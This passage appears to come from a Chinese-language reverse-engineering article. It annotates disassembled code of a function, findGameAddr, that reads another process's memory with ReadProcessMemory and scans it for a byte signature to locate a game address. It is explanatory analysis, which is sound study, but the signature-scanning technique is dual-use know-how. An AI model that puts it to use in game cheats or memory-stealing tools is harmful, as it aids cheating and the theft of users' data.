CODE:00402F98 loc_402F98: ; CODE XREF:

findGameAddr+121 j
CODE:00402F98 ; findGameAddr+16F j
CODE:00402F98 mov eax, [ebp+var_14]
CODE:00402F9B cmp eax, [ebp+arg_8]
CODE:00402F9E jb short loc_402F48

5.读取内存页面到指定的缓冲区
CODE:00402FD5 lea eax, [ebp+NumberOfBytesRead]
CODE:00402FD8 push eax ; lpNumberOfBytesRead
CODE:00402FD9 push ebx ; nSize,为MEMORY_BASIC_INFORMATION结构中的RegionSize和19000h两者之间的最小值
CODE:00402FDA lea eax, [ebp+var_19438] ;缓冲区地址
CODE:00402FE0 push eax ; lpBuffer
CODE:00402FE1 mov eax, [ebp+lpBaseAddress]
CODE:00402FE4 push eax ; lpBaseAddress
CODE:00402FE5 mov eax, [ebp+hProcess]
CODE:00402FE8 push eax ; hProcess
CODE:00402FE9 call ReadProcessMemory
CODE:00402FEE mov eax, [ebp+NumberOfBytesRead]
CODE:00402FF1 cmp eax, [ebp+arg_8] ;读到的实际大
小不能小于传入的参数0Ch
CODE:00402FF4 jb loc_402F48

6.根据特征码匹配内存,看[ebp+lpBaseAddress]是否为对应的内存地址,不是的话跳到1.重新查找,直到查到内存边界[eax+200000h]为止

CODE:00403022 lea eax, [ebp+var_41C] ;[ebp+var_41C]
为特征码的地址
CODE:00403028
CODE:00403028 loc_403028: ; CODE XREF: findGameAddr+151 j
CODE:00403028 lea ebx, [edi+esi]
CODE:0040302B mov bl, [ebp+ebx+var_19438] ;
[ebp+ebx+var_19438]指向缓冲区的数据
CODE:00403032 cmp bl, [eax] ;比较数据是否
相等
CODE:00403034 jz short loc_40303A
CODE:00403036 xor ecx, ecx
CODE:00403038 jmp short loc_40303F
CODE:0040303A ; ---------------------------------------------------------------------

------
CODE:0040303A
CODE:0040303A loc_40303A: ; CODE XREF:

findGameAddr+148 j
CODE:0040303A inc edi
CODE:0040303B inc eax
CODE:0040303C dec edx
CODE:0040303D jnz short loc_403028

7.如果特征码匹配就把搜到的内存地址返回

CODE:0040304D add esi, [ebp+lpBaseAddress]
CODE:00403050 mov [ebp+var_C], esi
CODE:00403053 jmp short loc_403060
CODE:00403060 mov eax, [ebp+var_C] ;eax
为返回的内存地址
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐